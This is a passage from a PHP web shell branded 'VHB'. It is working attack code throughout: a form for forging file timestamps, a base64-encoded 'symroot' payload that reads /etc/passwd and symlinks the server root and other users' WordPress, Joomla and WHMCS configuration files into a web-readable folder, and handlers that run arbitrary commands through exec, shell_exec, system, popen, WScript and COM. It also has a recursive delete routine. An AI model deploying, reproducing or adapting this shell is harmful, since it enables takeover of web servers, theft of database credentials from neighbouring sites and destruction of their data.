  1273.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
  1274.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
  1275.         formhead(array('title'=>'Clone file was last modified time'));
  1276.         makehide('action','file');
  1277.         makehide('dir',$nowpath);
  1278.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1279.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
  1280.         formfooter();
  1281.         formhead(array('title'=>'Set last modified'));
  1282.         makehide('action','file');
  1283.         makehide('dir',$nowpath);
  1284.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1285.         p('<p>Instead &raquo;');
  1286.         p('year:');
  1287.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
  1288.         p('month:');
  1289.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
  1290.         p('day:');
  1291.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
  1292.         p('hour:');
  1293.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
  1294.         p('minute:');
  1295.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
  1296.         p('second:');
  1297.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
  1298.         p('</p>');
  1299.         formfooter();
  1300. }//end newtime
  1301.     elseif ($action == 'symroot') {
  1302. $file = fopen($dir."symroot.php" ,"w+");
  1303. $perltoolss = 'PD9waHAKCgogJGhlYWQgPSAnCjxodG1sPgo8aGVhZD4KPC9zY3JpcHQ+Cjx0aXRsZT4tLT09W1tTeW0gbGpuayBBTGwgQ29uRmlnICsgU3ltIFJvb3QgYnkgVkhCXV09PS0tPC90aXRsZT4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgoKPFNUWUxFPgpib2R5IHsKZm9udC1mYW1pbHk6IFRhaG9tYQp9CnRyIHsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CmNvbG9yOiAjRkZGOwp9CnRkIHsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CmNvbG9yOiAjRkZGOwp9Ci50YWJsZTEgewpCT1JERVI6IDBweCBCbGFjazsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmNvbG9yOiAjRkZGOwp9Ci50ZDEgewpCT1JERVI6IDBweDsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpmb250OiA3cHQgVmVyZGFuYTsKY29sb3I6IEdyZWVuOwp9Ci50cjEgewpCT1JERVI6IDBweDsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpjb2xvcjogI0ZGRjsKfQp0YWJsZSB7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpCT1JERVItQ09MT1I6ICMzMzMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogI0ZGRjsKfQppbnB1dCB7CmJvcmRlcgkJCTogZGFzaGVkIDFweDsKYm9yZGVyLWNvbG9yCQk6ICMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiA4cHQgVmVyZGFuYTsKY29sb3I6IFJlZDsKfQpzZWxlY3QgewpCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICNERjAwMDAgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjREYwMDAwIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOwpCT1JERVItY29sb3I6ICNGRkY7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiA4cHQgVmVyZGFuYTsKY29sb3I6IFJlZDsKfQpzdWJtaXQgewpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CndpZHRoOiAzMCU7CmNvbG9yOiAjRkZGOwp9CnRleHRhcmVhIHsKYm9yZGVyCQkJOiBkYXNoZWQgMXB4ICMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogIzk5OTsKfQpCT0RZIHsKCVNDUk9MTEJBUi1GQUNFLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLUhJR0hMSUdIVC1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLVNIQURPVy1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLTNETElHSFQtY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1UUkFDSy1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLURBUktTSEFET1ctY29sb3I6ICNGRkYKbWFyZ2luOiAxcHg7CmNvbG9yOiBSZWQ7CmJhY2tncm91bmQtY29sb3I6IEJsYWNrOwp9Ci5tYWluIHsKbWFyZ2luCQkJOiAtMjg3cHggMHB4IDBweCAtNDkwcHg7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpCT1JERVItQ09MT1I6ICMzMzMzMzM7Cn0KLnR0IHsKYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7Cn0KCkE6bGluayB7CglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6aG92ZXIgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KPC9TVFlMRT4KPHNjcmlwdCBsYW5ndWFnZT1cJ2phdmFzY3JpcHRcJz4KZnVuY3Rpb24gaGlkZV9kaXYoaWQpCnsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnbm9uZVwnOwogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0wO1wnOwp9CmZ1bmN0aW9uIHNob3dfZGl2KGlkKQp7CiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7CiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTE7XCc7Cn0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQp7CiAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID09IFwnbm9uZVwnKQogICAgc2hvd19kaXYoaWQpOwogIGVsc2UKICAgIGhpZGVfZGl2KGlkKTsKfQo8L3NjcmlwdD4nOyA/Pgo8aHRtbD4KCTxoZWFkPgoJCTw/cGhwIAoJCWVjaG8gJGhlYWQgOwoJCWVjaG8gJwoKPHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGNsYXNzPSJ0YjEiID4KCgkJCQoKICAgICAgIDx0ZCB3aWR0aD0iMTAwJSIgYWxpZ249Y2VudGVyIHZhbGlnbj0idG9wIiByb3dzcGFuPSIxIj4KICAgICAgICAgICA8Zm9udCBjb2xvcj1yZWQgc2l6ZT01IGZhY2U9ImNvbWljIHNhbnMgbXMiPjxiPi0tPT1bWyBTeW0gbGpuayBBTGwgQ29uRmlnPC9mb250Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9NSBmYWNlPSJjb21pYyBzYW5zIG1zIj48Yj4gICArIFN5bSBSb290IDwvZm9udD48Zm9udCBjb2xvcj1ncmVlbiBzaXplPTUgZmFjZT0iY29taWMgc2FucyBtcyI+PGI+IFRlYW0gYnkgVkhCIF1dPT0tLTwvZm9udD4gPGRpdiBjbGFzcz0iaGVkciI+IAoKICAgICAgICA8dGQgaGVpZ2h0PSIxMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0ZDEiPjwvdGQ+PC90cj48dHI+PHRkIAogICAgICAgIHdpZHRoPSIxMDAlIiBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCIgcm93c3Bhbj0iMSI+PGZvbnQgCiAgICAgICAgY29sb3I9InJlZCIgZmFjZT0iY29taWMgc2FucyBtcyJzaXplPSIxIj48Yj4gCiAgICAgICAgCQkJCQkKICAgICAgICAgICA8L3RhYmxlPgogICAgICAgIAoKJzsgCgo/Pgo8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9cG9zdD48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT0iY29taWMgc2FucyBtcyI+MS4gQ3JlYXQgcGhwLmluaSBmaWxlPC9mb250PjxwPgo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1pbmkgdmFsdWU9InVzZSB0byBHZW5lcmF0ZSBQSFAuaW5pIiAvPjwvZm9ybT4KPGZvcm0gbWV0aG9kPXBvc3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9ImNvbWljIHNhbnMgbXMiPjIuIEdldCB1c2VybmFtZXMgZm9yIHN5bWxpbms8L2ZvbnQ+PHA+Cgk8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT0idXNyZSIgdmFsdWU9InVzZSB0byBFeHRyYWN0IHVzZXJuYW1lcyIgLz48L2Zvcm0+CgkKCTw/cGhwCglpZihpc3NldCgkX1BPU1RbJ2luaSddKSkKCXsKCQkKCQkkcj1mb3BlbigncGhwLmluaScsJ3cnKTsKCQkkcnI9IiBkaXNiYWxlX2Z1bmN0aW9ucz1ub25lICI7CgkJZndyaXRlKCRyLCRycik7CgkJJGxpbms9IjxhIGhyZWY9cGhwLmluaT48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj48dT5vcGVuIFBIUC5JTkk8L3U+PC9mb250PjwvYT4iOwoJCWVjaG8gJGxpbms7CQoJCX0KCT8+Cgk8P3BocAoJaWYoaXNzZXQoJF9QT1NUWyd1c3JlJ10pKXsKCQk/Pjxmb3JtIG1ldGhvZD1wb3N0PgoJPHRleHRhcmVhIHJvd3M9MTAgY29scz01MCBuYW1lPXVzZXI+PD9waHAgICR1c2Vycz1maWxlKCIvZXRjL3Bhc3N3ZCIpOwpmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKewokc3RyPWV4cGxvZGUoIjoiLCR1c2VyKTsKZWNobyAkc3RyWzBdLiJcbiI7Cn0KCj8+PC90ZXh0YXJlYT48YnI+PGJyPgoJPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3UgdmFsdWU9IkxldHMgU3RhcnQiIC8+PC9mb3JtPgoJPD9waHAgfSA/PgoJPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj4iOwoJaWYoaXNzZXQoJF9QT1NUWydzdSddKSkKCXsKCW1rZGlyKCdzeW0nLDA3NzcpOwokcnIgID0gIiBPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRnID0gZm9wZW4oJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CmZ3cml0ZSgkZywkcnIpOwokU3ltID0gc3ltbGluaygiLyIsInN5bS9yb290Iik7CgkJICAgICRydD0iPGEgaHJlZj1zeW0vcm9vdD48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT1cImNvbWljIHNhbnMgbXNcIj4gU3ltPC9mb250PjwvYT4iOwogICAgICAgIGVjaG8gIlJvb3QgLyBmb2xkZXIgc3ltbGluayA8YnI+PHU+JHJ0PC91PiI7CgkJCgkJJGRpcj1ta2Rpcignc3ltJywwNzc3KTsKCQkkciAgPSAiIE9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKICAgICAgICAkZiA9IGZvcGVuKCdzeW0vLmh0YWNjZXNzJywndycpOwogICAKICAgICAgICBmd3JpdGUoJGYsJHIpOwogICAgICAgICRjb25zeW09IjxhIGhyZWY9c3ltLz48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT1cImNvbWljIHNhbnMgbXNcIj5jb25maWd1cmF0aW9uIGZpbGVzPC9mb250PjwvYT4iOwogICAgICAgCWVjaG8gIjxicj5TeW0gTGpuayBBbGwgQ29uRmlnIDxicj48dT48Zm9udCBjb2xvcj1yZWQgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+JGNvbnN5bTwvZm9udD48L3U+IjsKICAgICAgIAkKICAgICAgIAkJJHVzcj1leHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VyJ10pOwogICAgICAgCSRjb25maWd1cmF0aW9uPWFycmF5KCJ3cC1jb25maWcucGhwIiwid29yZHByZXNzL3dwLWNvbmZpZy5waHAiLCJjb25maWd1cmF0aW9uLnBocCIsImJsb2cvd3AtY29uZmlnLnBocCIsImpvb21sYS9jb25maWd1cmF0aW9uLnBocCIsInZiL2luY2x1ZGVzL2NvbmZpZy5waHAiLCJpbmNsdWRlcy9jb25maWcucGhwIiwiY29uZl9nbG9iYWwucGhwIiwiaW5jL2NvbmZpZy5waHAiLCJjb25maWcucGhwIiwiU2V0dGluZ3MucGhwIiwic2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAiLCJ3aG0vY29uZmlndXJhdGlvbi5waHAiLCJ3aG1jcy9jb25maWd1cmF0aW9uLnBocCIsInN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCJ3aG1jL1dITS9jb25maWd1cmF0aW9uLnBocCIsIndobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCIsIndobS93aG1jcy9jb25maWd1cmF0aW9uLnBocCIsInN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCJjbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAiLCJjbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCIsImJpbGxpbmcvY29uZmlndXJhdGlvbi5waHAiLCJhZG1pbi9jb25maWcucGhwIik7CgkJZm9yZWFjaCgkdXNyIGFzICR1c3MgKQoJCXsKCQkJJHVzPXRyaW0oJHVzcyk7CgkJCQkJCQoJCQlmb3JlYWNoKCRjb25maWd1cmF0aW9uIGFzICRjKQoJCQl7CgkJCSAkcnM9Ii9ob21lLyIuJHVzLiIvcHVibGljX2h0bWwvIi4kYzsKCQkJICRyPSJzeW0vIi4kdXMuIiAuLiAiLiRjOwoJCQkgc3ltbGluaygkcnMsJHIpOwoJCQkKCQl9CgkJCQoJCQl9CgkJCgkJCgkJfQoJCgkKCQoJPz4KPC9jZW50ZXI+CQ==
  1304. ';
  1305. $file = fopen("symroot.php" ,"w+");
  1306. $write = fwrite ($file ,base64_decode($perltoolss));
  1307. fclose($file);
  1308.    echo "<iframe src=symroot.php width=100% height=720px frameborder=0></iframe> ";
  1309. }//end viewfile window via NC
  1310. if ($action == 'shell') {
  1311.         if (IS_WIN && IS_COM) {
  1312.                 if($program && $parameter) {
  1313.                         $shell= new COM('Shell.Application');
  1314.                         $a = $shell->ShellExecute($program,$parameter);
  1315.                         m('Program run has '.(!$a ? 'success' : 'fail'));
  1316.                 }
  1317.                 !$program && $program = 'c:\windows\system32\cmd.exe';
  1318.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
  1319.                 formhead(array('title'=>'Execute Program'));
  1320.                 makehide('action','shell');
  1321.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  1322.                 p('<p>');
  1323.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  1324.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1325.                 p('</p>');
  1326.                 formfoot();
  1327.         }
  1328.         formhead(array('title'=>'Execute Command'));
  1329.         makehide('action','shell');
  1330.         if (IS_WIN && IS_COM) {
  1331.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  1332.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  1333.         }
  1334.         p('<p>');
  1335.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
  1336.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1337.         p('</p>');
  1338.         formfoot();
  1339.         if ($command) {
  1340.                 p('<hr width="100%" noshade /><pre>');
  1341.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
  1342.                         $wsh = new COM('WScript.shell');
  1343.                         $exec = $wsh->exec('cmd.exe /c '.$command);
  1344.                         $stdout = $exec->StdOut();
  1345.                         $stroutput = $stdout->ReadAll();
  1346.                         echo $stroutput;
  1347.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
  1348.                         $descriptorspec = array(
  1349.                            0 => array('pipe', 'r'),
  1350.                            1 => array('pipe', 'w'),
  1351.                            2 => array('pipe', 'w')
  1352.                         );
  1353.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  1354.                         if (is_resource($process)) {
  1355.                                 fwrite($pipes[0], $command."\r\n");
  1356.                                 fwrite($pipes[0], "exit\r\n");
  1357.                                 fclose($pipes[0]);
  1358.                                 while (!feof($pipes[1])) {
  1359.                                         echo fgets($pipes[1], 1024);
  1360.                                 }
  1361.                                 fclose($pipes[1]);
  1362.                                 while (!feof($pipes[2])) {
  1363.                                         echo fgets($pipes[2], 1024);
  1364.                                 }
  1365.                                 fclose($pipes[2]);
  1366.                                 proc_close($process);
  1367.                         }
  1368.                 } else {
  1369.                         echo(execute($command));
  1370.                 }
  1371.                 p('</pre>');
  1372.         }
  1373. }//end shell
  1374. ?>
  1375. </td></tr></table>
  1376. <div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
  1377.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
  1378.         Copyright @ 2014 by VHB .::   <a href=http://google.com target=_blank><center><font color=yellow><B>.:: TO PUNISH AND ENSLAVE ::. </B></font></center></a>
  1379. </div>
  1380. </body>
  1381. </html>
  1382. <?php
  1383. /*======================================================
  1384. Show info shell
  1385. ======================================================*/
  1386. function m($msg) {
  1387.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
  1388.         echo $msg;
  1389.         echo '</div>';
  1390. }
  1391. function scookie($key, $value, $life = 0, $prefix = 1) {
  1392.         global $admin, $timestamp, $_SERVER;
  1393.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
  1394.         $life = $life ? $life : $admin['cookielife'];
  1395.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  1396.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  1397. }
  1398. function multi($num, $perpage, $curpage, $tablename) {
  1399.         $multipage = '';
  1400.         if($num > $perpage) {
  1401.                 $page = 10;
  1402.                 $offset = 5;
  1403.                 $pages = @ceil($num / $perpage);
  1404.                 if($page > $pages) {
  1405.                         $from = 1;
  1406.                         $to = $pages;
  1407.                 } else {
  1408.                         $from = $curpage - $offset;
  1409.                         $to = $curpage + $page - $offset - 1;
  1410.                         if($from < 1) {
  1411.                                 $to = $curpage + 1 - $from;
  1412.                                 $from = 1;
  1413.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1414.                                         $to = $page;
  1415.                                 }
  1416.                         } elseif($to > $pages) {
  1417.                                 $from = $curpage - $pages + $to;
  1418.                                 $to = $pages;
  1419.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1420.                                         $from = $pages - $page + 1;
  1421.                                 }
  1422.                         }
  1423.                 }
  1424.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
  1425.                 for($i = $from; $i <= $to; $i++) {
  1426.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  1427.                 }
  1428.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
  1429.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
  1430.         }
  1431.         return $multipage;
  1432. }
  1433. function execute($cfe) {
  1434.         $res = '';
  1435.         if ($cfe) {
  1436.                 if(function_exists('exec')) {
  1437.                         @exec($cfe,$res);
  1438.                         $res = join("\n",$res);
  1439.                 } elseif(function_exists('shell_exec')) {
  1440.                         $res = @shell_exec($cfe);
  1441.                 } elseif(function_exists('system')) {
  1442.                         @ob_start();
  1443.                         @system($cfe);
  1444.                         $res = @ob_get_contents();
  1445.                         @ob_end_clean();
  1446.                 } elseif(function_exists('passthru')) {
  1447.                         @ob_start();
  1448.                         @passthru($cfe);
  1449.                         $res = @ob_get_contents();
  1450.                         @ob_end_clean();
  1451.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
  1452.                         $res = '';
  1453.                         while(!@feof($f)) {
  1454.                                 $res .= @fread($f,1024);
  1455.                         }
  1456.                         @pclose($f);
  1457.                 }
  1458.         }
  1459.         return $res;
  1460. }
  1461. function which($pr) {
  1462.         $path = execute("which $pr");
  1463.         return ($path ? $path : $pr);
  1464. }
  1465. function cf($fname,$text){
  1466.         if($fp=@fopen($fname,'w')) {
  1467.                 @fputs($fp,@base64_decode($text));
  1468.                 @fclose($fp);
  1469.         }
  1470. }
  1471. // Debug
  1472. function debuginfo() {
  1473.         global $starttime;
  1474.         $mtime = explode(' ', microtime());
  1475.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  1476.         echo 'Processed in '.$totaltime.' second(s)';
  1477. }
  1478. // Function connect database
  1479. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
  1480.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
  1481.                 p('<h2>Can not connect to MySQL server</h2>');
  1482.                 exit;
  1483.         }
  1484.         if($link && $dbname) {
  1485.                 if (!@mysql_select_db($dbname, $link)) {
  1486.                         p('<h2>Database selected has error</h2>');
  1487.                         exit;
  1488.                 }
  1489.         }
  1490.         if($link && mysql_get_server_info() > '4.1') {
  1491.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  1492.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  1493.                 }
  1494.         }
  1495.         return $link;
  1496. }
  1497. function brute_mysql($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306'){
  1498.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
  1499.                 p('<h2>Can not connect to MySQL server</h2>');
  1500.                 exit;
  1501.         }
  1502.         if($link && $dbname) {
  1503.                 if (!@mysql_select_db($dbname, $link)) {
  1504.                         p('<h2>Database selected has error</h2>');
  1505.                         exit;
  1506.                 }
  1507.         }
  1508.         if($link && mysql_get_server_info() > '4.1') {
  1509.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  1510.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  1511.                 }
  1512.         }
  1513.         return $link;
  1514. }
  1515. // Array strip
  1516. function s_array(&$array) {
  1517.         if (is_array($array)) {
  1518.                 foreach ($array as $k => $v) {
  1519.                         $array[$k] = s_array($v);
  1520.                 }
  1521.         } else if (is_string($array)) {
  1522.                 $array = stripslashes($array);
  1523.         }
  1524.         return $array;
  1525. }
  1526. // HTML Strip
  1527. function html_clean($content) {
  1528.         $content = htmlspecialchars($content);
  1529.         $content = str_replace("\n", "<br />", $content);
  1530.         $content = str_replace("  ", "&nbsp;&nbsp;", $content);
  1531.         $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
  1532.         return $content;
  1533. }
  1534. // Chmod
  1535. function getChmod($filepath){
  1536.         return substr(base_convert(@fileperms($filepath),10,8),-4);
  1537. }
  1538. function getPerms($filepath) {
  1539.         $mode = @fileperms($filepath);
  1540.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
  1541.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
  1542.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
  1543.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
  1544.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
  1545.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
  1546.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
  1547.         else {$type = '?';}
  1548.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
  1549.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
  1550.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  1551.         $group['read'] = ($mode & 00040) ? 'r' : '-';
  1552.         $group['write'] = ($mode & 00020) ? 'w' : '-';
  1553.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
  1554.         $world['read'] = ($mode & 00004) ? 'r' : '-';
  1555.         $world['write'] = ($mode & 00002) ? 'w' : '-';
  1556.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
  1557.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
  1558.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
  1559.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
  1560.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  1561. }
  1562. function getUser($filepath)     {
  1563.         if (function_exists('posix_getpwuid')) {
  1564.                 $array = @posix_getpwuid(@fileowner($filepath));
  1565.                 if ($array && is_array($array)) {
  1566.                         return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
  1567.                 }
  1568.         }
  1569.         return '';
  1570. }
  1571. // Delete dir
  1572. function deltree($deldir) {
  1573.         $mydir=@dir($deldir);
  1574.         while($file=$mydir->read())     {
  1575.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
  1576.                         @chmod($deldir.'/'.$file,0777);
  1577.                         deltree($deldir.'/'.$file);
  1578.                 }
  1579.                 if (is_file($deldir.'/'.$file)) {
  1580.                         @chmod($deldir.'/'.$file,0777);
  1581.                         @unlink($deldir.'/'.$file);
  1582.                 }
  1583.         }
  1584.         $mydir->close();
  1585.         @chmod($deldir,0777);
  1586.         return @rmdir($deldir) ? 1 : 0;
  1587. }
  1588. // Background
  1589. function bg() {
  1590.         global $bgc;
  1591.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
  1592. }
  1593. // Get path
  1594. function getPath($scriptpath, $nowpath) {
  1595.         if ($nowpath == '.') {
  1596.                 $nowpath = $scriptpath;
  1597.         }
  1598.         $nowpath = str_replace('\\', '/', $nowpath);
  1599.         $nowpath = str_replace('//', '/', $nowpath);
  1600.         if (substr($nowpath, -1) != '/') {
  1601.                 $nowpath = $nowpath.'/';
  1602.         }
  1603.         return $nowpath;
  1604. }
  1605. // Get up path
  1606. function getUpPath($nowpath) {
  1607.         $pathdb = explode('/', $nowpath);
  1608.         $num = count($pathdb);
  1609.         if ($num > 2) {
  1610.                 unset($pathdb[$num-1],$pathdb[$num-2]);
  1611.         }
  1612.         $uppath = implode('/', $pathdb).'/';
  1613.         $uppath = str_replace('//', '/', $uppath);
  1614.         return $uppath;
  1615. }
  1616. // Config
  1617. function getcfg($varname) {
  1618.         $result = get_cfg_var($varname);
  1619.         if ($result == 0) {
  1620.                 return 'No';
  1621.         } elseif ($result == 1) {
